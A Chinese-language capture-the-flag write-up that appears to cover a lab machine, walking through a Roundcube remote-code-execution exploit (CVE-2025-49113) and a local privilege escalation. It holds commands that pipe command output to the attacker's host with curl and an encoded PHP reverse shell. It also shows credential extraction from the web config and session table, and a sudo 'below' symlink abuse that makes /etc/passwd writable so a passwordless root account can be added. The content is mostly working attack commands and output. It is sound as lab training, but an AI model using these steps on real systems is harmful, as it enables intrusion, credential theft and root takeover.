Rustscan扫描
我们开局便拥有账号 tyler / LhKL1o9Nm3X2,我们使用rustscan进行扫描
rustscan -a 10.10.11.77 --range 1-65535 --scan-order "Random" -- -A
Web服务漏洞探查
我们以账号tyler / LhKL1o9Nm3X2登录webmail,并快速确认版本信息。
该版本存在RCE漏洞
我们找到相应的CVE漏洞POC
反连shell建立
user权限获取,我们先探测拥有哪些shell
#探测命令执行情况
php CVE-2025-49113.php 'http://mail.outbound.htb/' tyler LhKL1o9Nm3X2 'curl http://10.10.16.6:80/$(id | base64 -w0)'uid=33(www-data) gid=33(www-data) groups=33(www-data)#探测nc python 等软件是否存在
php CVE-2025-49113.php 'http://mail.outbound.htb/' tyler LhKL1o9Nm3X2 'curl http://10.10.16.4:80/$(which python nc bash sh ncao curl rustcat openssl perl php ruby socat ndoe java telnet zsh lua golang vlang awk nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null| base64 -w0)'/usr/bin/bash
/usr/bin/sh
/usr/bin/curl
/usr/bin/openssl
/usr/bin/perl
/usr/bin/php
/usr/bin/socat
/usr/bin/awk
/usr/bin/wget
/usr/bin/curl
/usr/bin/base64
/usr/bin/socat
/usr/bin/perl
/usr/bin/php#使用bash开启反向shell
php CVE-2025-49113.php 'http://mail.outbound.htb/' tyler LhKL1o9Nm3X2 'echo L3Vzci9iaW4vcGhwIC1yICckc29jaz1mc29ja29wZW4oIjEwLjEwLjE2LjQiLDkwMDEpO2V4ZWMoIi9iaW4vYmFzaCA8JjMgPiYzIDI+JjMiKTsn | base64 -d | bash'
Cat查询存在用户 & ss查询端口开放情况
我们快速信息搜集,发现了用户、端口等信息
cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
tyler:x:1000:1000::/home/tyler:/bin/bash
jacob:x:1001:1001::/home/jacob:/bin/bash
mel:x:1002:1002::/home/mel:/bin/bashss -tuln
Netid State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
tcp LISTEN 0 100 127.0.0.1:25 0.0.0.0:*
tcp LISTEN 0 100 0.0.0.0:993 0.0.0.0:*
tcp LISTEN 0 100 0.0.0.0:995 0.0.0.0:*
tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 100 0.0.0.0:143 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 100 0.0.0.0:110 0.0.0.0:*
tcp LISTEN 0 100 [::]:993 [::]:*
tcp LISTEN 0 100 [::]:995 [::]:*
tcp LISTEN 0 100 [::1]:25 [::]:*
tcp LISTEN 0 100 [::]:143 [::]:*
tcp LISTEN 0 100 [::]:110 [::]:*
爬取数据库
我们发现了web服务的config文件/var/www/html/roundcube/config/config.inc.php
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';
我们尝试访问3306端口,进入数据库
mysql -u roundcube -pRCDBPass2025 -e "SHOW DATABASES;"
mysql -u roundcube -pRCDBPass2025 -e "USE roundcube;SHOW TABLES;"
mysql -u roundcube -pRCDBPass2025 -e "USE roundcube;SELECT * FROM users ;"
mysql -u roundcube -pRCDBPass2025 -e "USE roundcube;SELECT * FROM session ;"
经过网上的查询,我们了解到roundcube的users表并不包含密码。所以我们转战session,我们解密session的var字段,获取jacob用户的密码hash
L7Rv00A8TuwJAr67kITxxcSgnIk25Am
有趣的是我们还发现了/var/www/html/roundcube/bin/decrypt.sh工具
./decrypt.sh 'L7Rv00A8TuwJAr67kITxxcSgnIk25Am/'
595mO8DmwGeD
密码正确,切换成功
翻找邮箱文件获取账户密码
我们登录邮箱,发现邮件一个说jacob改了密码,一个说jacob拥有below访问权限。
gY4Wr3a1evp4
【TIP?】有趣的是我们密码被修改了,可为什么su却可以正常运行?是因为我们通过RCE进入的是一个虚拟机。
sudo二进制文件提权
接下来我们发现sudo -l 里面有一个命令below,并发现该命令的dump功能一旦出错,就会写入到/var/log/below/error_root.log 文件中。
-rw-rw-rw- 1 root root 0 Jul 14 06:48 error_root.log
那么结合软连接跳转,我们可以创建新的文件,并且权限情况。
ln -sf /var/log/below/test /var/log/below/error_root.log
#出发错误从而写入error_root.log文件
sudo below dump --snapshot /root/ disk --begin now#创建的新文件
-rw-rw-rw- 1 root root 588 Jul 14 06:52 test
我们现在有创建新文件的能力,那么我们验证以下是否拥有修改文件权限的能力。
rm test
touch test#获得的文件权限
-rw-rw-r-- 1 jacob jacob 0 Jul 14 06:55 test#执行攻击
ln -sf /var/log/below/test /var/log/below/error_root.log
#出发错误从而写入error_root.log文件
sudo below dump --snapshot /root/ disk --begin now#修改后的文件权限
-rw-rw-rw- 1 jacob jacob 226 Jul 14 06:56 test
可以看到文件的所有者没有改变,但权限情况变了,所有人都可写了,这可能非常危险。这就确定了我们可以修改/etc/passwd文件,也可以修改/root/.ssh/id_ed25519来完成提权。下面是两种做法
# ==== /etc/passwd 版本 ====
ln -sf /etc/passwd /var/log/below/error_root.log
sudo below dump --snapshot /root/ disk --begin now
ls -al /etc/passwd
echo 'ydx::0:0:ydx:/root:/bin/bash' >> /etc/passwd
su ydx
# ==== /root/.ssh/id_ed25519 版本 ====
ln -sf /root/.ssh/id_ed25519 /var/log/below/error_root.log
sudo below dump --snapshot /root/ disk --begin now
cat /root/.ssh/id_ed25519
没能成功,暂时不了解为何,可能是/root/.ssh/文件夹的权限存在控制情况。后续进入root账户后,发现确实为该问题。
所以我们尝试是否能够用同样的办法修改文件夹权限,目录没法做到相同的事情,所以该方法无法使用。
ln -sf /root /var/log/below/error_root.log
sudo below dump --snapshot /root disk --begin now